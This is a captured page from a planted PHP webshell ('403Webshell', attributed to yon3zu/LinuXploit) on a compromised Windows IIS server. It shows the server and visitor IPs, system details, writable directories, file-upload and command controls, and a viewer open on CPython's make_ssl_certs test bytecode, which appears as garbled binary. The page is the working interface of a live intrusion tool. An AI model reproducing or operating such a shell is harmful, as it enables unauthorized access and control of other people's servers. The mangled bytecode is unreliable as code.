403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/certdata/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/certdata/__pycache__/make_ssl_certs.cpython-313.pyc
�

��i�&��&�SrSSKrSSKrSSKrSSKrSSK7 SrSrSr\RR\RR\55r
S1SjrSrS	rS
rSr\S:XGa�\R("\
5 \"S
SS9urr\"SS5r\R3\5 SSS5 \"SS5r\R3\5 SSS5 \"S5 \"/SQ5 \"/SQ5 \"SS5r\R3\5 \R3\5 SSS5 \"SS5r\R3\5 SSS5 \"5 \"SSS9urr\"SS5r\R3\5 \R3\5 SSS5 \"S
SS9urr\"SS5r\R3\5 \R3\5 SSS5 \"/SQ5 \"SSS9urr\"SS5r\R3\5 \R3\5 SSS5 \"S SS!S"9urr\"S#S5r\R3\5 \R3\5 SSS5 /S$Qr\"S%SS&R;\5S'9urr\"S(S5r\R3\5 \R3\5 SSS5 /S)Qr\"S*SS&R;\5S'9urr\"S+S5r\R3\5 \R3\5 SSS5 \"S,SS-S.9urr\"S/S5r\R3\5 \R3\5 SSS5 \"5 \"S05 \"S5 \"S5 gg!,(df   GN�=f!,(df   GN�=f!,(df   GNd=f!,(df   GNS=f!,(df   GN =f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GNQ=f!,(df   GN=f!,(df   N�=f)2zOMake the custom certificate and private key files used by test_ssl
and friends.�N)�*�20180829142316Z�20371028142316Za�

    [ default ]
    base_url               = http://testca.pythontest.net/testca

    [req]
    distinguished_name     = req_distinguished_name
    prompt                 = no

    [req_distinguished_name]
    C                      = XY
    L                      = Castle Anthrax
    O                      = Python Software Foundation
    CN                     = {hostname}

    [req_x509_extensions_nosan]

    [req_x509_extensions_simple]
    subjectAltName         = @san

    [req_x509_extensions_full]
    subjectAltName         = @san
    keyUsage               = critical,keyEncipherment,digitalSignature
    extendedKeyUsage       = serverAuth,clientAuth
    basicConstraints       = critical,CA:false
    subjectKeyIdentifier   = hash
    authorityKeyIdentifier = keyid:always,issuer:always
    authorityInfoAccess    = @issuer_ocsp_info
    crlDistributionPoints  = @crl_info

    [ issuer_ocsp_info ]
    caIssuers;URI.0        = $base_url/pycacert.cer
    OCSP;URI.0             = $base_url/ocsp/

    [ crl_info ]
    URI.0                  = $base_url/revocation.crl

    [san]
    DNS.1 = {hostname}
    {extra_san}

    [dir_sect]
    C                      = XY
    L                      = Castle Anthrax
    O                      = Python Software Foundation
    CN                     = dirname example

    [princ_name]
    realm = EXP:0, GeneralString:KERBEROS.REALM
    principal_name = EXP:1, SEQUENCE:principal_seq

    [principal_seq]
    name_type = EXP:0, INTEGER:1
    name_string = EXP:1, SEQUENCE:principals

    [principals]
    princ1 = GeneralString:username

    [ ca ]
    default_ca      = CA_default

    [ CA_default ]
    dir = cadir
    database  = $dir/index.txt
    crlnumber = $dir/crl.txt
    default_md = sha256
    startdate = {startdate}
    default_startdate = {startdate}
    enddate = {enddate}
    default_enddate = {enddate}
    default_days = 7000
    default_crl_days = 7000
    certificate = pycacert.pem
    private_key = pycakey.pem
    serial    = $dir/serial
    RANDFILE  = $dir/.rand
    policy          = policy_match

    [ policy_match ]
    countryName             = match
    stateOrProvinceName     = optional
    organizationName        = match
    organizationalUnitName  = optional
    commonName              = supplied
    emailAddress            = optional

    [ policy_anything ]
    countryName   = optional
    stateOrProvinceName = optional
    localityName    = optional
    organizationName  = optional
    organizationalUnitName  = optional
    commonName    = supplied
    emailAddress    = optional


    [ v3_ca ]

    subjectKeyIdentifier=hash
    authorityKeyIdentifier=keyid:always,issuer
    basicConstraints = critical, CA:true
    keyUsage = critical, digitalSignature, keyCertSign, cRLSign

    c�Z�[SU-5 /n[S5H;n[R"SS9nUR	UR
5 SSS5 M= Uup�n
[RUU[[S9n[US5nURU5 SSS5 SSS	S
SSUS
U
SUSU/
nU(aL[R"SS9nUR	UR
5 UR
n
SSS5 USW
/-
nOUSSU	/-
n[S/U-5 U(aSSUSUSU	SSSSSSW
/n[S/U-5 [U	S5nUR5nSSS5 [U
S5nUR5nSSS5 WU4UHn[R"U5 M $!,(df   GM�=f!,(df   GN.=f!,(df   N�=f!,(df   N�=f!,(df   Nx=f!UHn[R"U5 M f=f)Nzcreating cert for �F)�delete��hostname�	extra_san�	startdate�enddate�w�req�-new�-nodesz-days�7000�-newkey�-keyout�-extensions�-config�-outz-x509�openssl�ca�-outdir�cadirz-policy�policy_anything�-batch�-infiles�r)�print�range�tempfile�NamedTemporaryFile�append�name�req_template�formatrr
�open�write�
check_call�read�os�remove)r
�signr�ext�key�	tempnames�i�f�req_file�	cert_file�key_filer�args�reqfile�certr%s                �1C:\Python313\\Lib\test\certdata\make_ssl_certs.py�
make_cert_keyr;xs��	�
��
)�*��I�
�1�X��
�
(�
(��
6�!����Q�V�V�$�7�
6��%.�!�H��+��!�!�����	"�
���(�C�
 �A�
�G�G�C�L�!��v�x��&��3�	�8��s��8�%����,�,�E�:�a�� � ����(��&�&��;�
�V�W�&�&�D�
�W�f�i�1�1�D��I�;��%�&����8��s��	��7��,��*�g��D�
�	�{�T�)�*��)�S�
!�Q��6�6�8�D�"�
�(�C�
 �A��&�&�(�C�!��S�y��D��I�I�d�O��[7�
6��!�
 ��;�:��,"�
!��
 �
 ���D��I�I�d�O��sx�F1�!*H	�G�2H	�(G�7AH	�G'�!H	�5G8�H	�1
G	�
G�H	�
G$� H	�'
G5�1H	�8
H�H	�	!H*rc�8�[R"[5 g)N)�shutil�rmtree�	TMP_CADIR��r:�	unmake_carB�s��
�M�M�)�rAc�b�[R"[5 [[RRSS5S5nSSS5 [[RRSS5S5nUR
S5 SSS5 [[RRSS5S5nUR
S5 SSS5 [[RRSS	5S
5nUR
S5 SSS5 [R"S
5n[RSS
[[S9nUR
U5 UR5 [R"5nSSURSSSSSSSURSS/
n[S/U-5 SSURSSSS[SSS S!S"S#UR/n[S/U-5 SSURS$SS%/n[S/U-5 SSS5 SSS5 [/S&Q5 [ R""S'S(5 g!,(df   GN=f!,(df   GN�=f!,(df   GN�=f!,(df   GNq=f!,(df   N�=f!,(df   N�=f))Nrz	index.txt�a+zcrl.txt�00zindex.txt.attrzw+zunique_subject = no�serialrzCB2D80995A69525B
z
our-ca-server�r	rrrrr�rsa:3072rzpycakey.pemrz-subjzG/C=XY/L=Castle Anthrax/O=Python Software Foundation CA/CN=our-ca-serverrr�pycacert.pemrrz-keyfilez	-selfsignr�v3_carz-gencrlzrevocation.crl)r�x509�-inrIr�capath/ceff1710.0rMzcapath/b1930218.0)r,�mkdirr?r(�path�joinr)r"r#r&r'rr
�flushr%r*r=�copy)r3�trr7s    r:�make_carT�s���H�H�Y��	
�b�g�g�l�l�7�;�/��	5���
6�	
�b�g�g�l�l�7�9�-�d�	3�q�	����
�
4�	
�b�g�g�l�l�7�#3�4�T�	:�a�	���%�&�
;�
�b�g�g�l�l�7�8�,�c�	2�a�	���$�%�
3�
�	$�	$�S�	)�Q��!�!�$����	"�
��	
�����	���	�
�
(�
(�
*�a��9�a�f�f�f���z��}��A�F�F��f�h�D�
�	�{�T�)�*��)�Q�V�V��N�H�i���
�����Q�V�V�N�D�
�	�{�T�)�*��)�Q�V�V�Y��@P�Q�D��	�{�T�)�*�+�
*�4����K�K�#�%8�9�O
6�	5��	3�	3��	:�	:��
3�	2��+�
*��
*�	)�sV�I�9I�=I+�I=�1AJ �BJ�J �
I�
I(�+
I:�=
J�
J	�J � 
J.c�V�SSKn[R"URU55 g)Nr)�_ssl�pprint�_test_decode_cert)rOrVs  r:�
print_certrY�s���
�M�M�$�(�(��.�/rA�__main__�	localhost�req_x509_extensions_simple)r/zssl_cert.pemr�ssl_key.pemz5password protecting ssl_key.pem in ssl_key.passwd.pem)	r�pkeyrLr]rzssl_key.passwd.pem�-aes256�-passout�
pass:somepass)	rr^rLr]r�keycert.passwd.pemr_r`razkeycert.pemrbrD�fakehostnamezkeycert2.pemT)r.�keycert3.pem)rrKz-outform�pemrLrdrz	cert3.pemzkeycert4.pemz
localhost-ecczparam:secp384r1.pem)r.r0zkeycertecc.pem)	z0otherName.1 = 1.2.3.4;UTF8:some other identifierz/otherName.2 = 1.3.6.1.5.2.2;SEQUENCE:princ_namezemail.1 = user@example.orgzDNS.2 = www.example.orgzdirName.1 = dir_sectzURI.1 = https://www.python.org/zIP.1 = 127.0.0.1z
IP.2 = ::1zRID.1 = 1.2.3.4.5�allsans�
)r.rzallsans.pem)z'DNS.2 = xn--knig-5qa.idn.pythontest.netz6DNS.3 = xn--knigsgsschen-lcb0w.idna2003.pythontest.netz6DNS.4 = xn--knigsgchen-b4a3dun.idna2008.pythontest.netz,DNS.5 = xn--nxasmq6b.idna2003.pythontest.netz,DNS.6 = xn--nxasmm1c.idna2008.pythontest.net�idnsanszidnsans.pem�nosan�req_x509_extensions_nosan)r.r/z	nosan.pemz>update Lib/test/test_ssl.py and Lib/test/test_asyncio/utils.py)FrG�req_x509_extensions_fullrH)�__doc__r,rWr=r"�
subprocessrr
r&rO�abspath�dirname�__file__�herer;r?rBrTrY�__name__�chdirr9r0r(r3r)r r*rrPr@rAr:�<module>rts����
�
�
����	�
��f��P
�w�w���r�w�w���x�0�1��35�6@�3�j
�	��):�X0�
�z���H�H�T�N��k�/K�L�I�D�#�	
�n�c�	"�a�	����
�
#�	
�m�S�	!�Q�	�����
"�	�
A�B��v�w��v�w�	
�m�S�	!�Q�	�����	����
�
"�
�"�D�	)�Q�	����
�
*��I��n�2N�O�I�D�#�	
�n�c�	"�a�	�����	����
�
#��k��5�I�D�#�	
�n�c�	"�a�	�����	����
�
#��a�b��n�4�8�I�D�#�	
�n�c�	"�a�	�����	����
�
#���d�(=��I�D�#�
���	$��	�����	����
�
%��I��i�d�d�i�i�	�>R�S�I�D�#�	
�m�S�	!�Q�	�����	����
�
"�	�I��i�d�d�i�i�	�>R�S�I�D�#�	
�m�S�	!�Q�	�����	����
�
"��g�D�6Q�R�I�D�#�	
�k�3�	�1�	�����	����
�
 ��K�	�
J�K��}���~��q�
#�	"��	!�	!��
"�	!��
*�	)��
#�	"��

#�	"��
#�	"��
%�	$��&
"�	!��"
"�	!��

 �	�s��M�3M �2#M2�&N�#N�#N(� #N:�#O�1#O�#O0�#P�
M� 
M/�2
N�
N�
N%�(
N7�:
O	�
O�
O-�0
O?�
P

Youez - 2016 - github.com/yon3zu
LinuXploit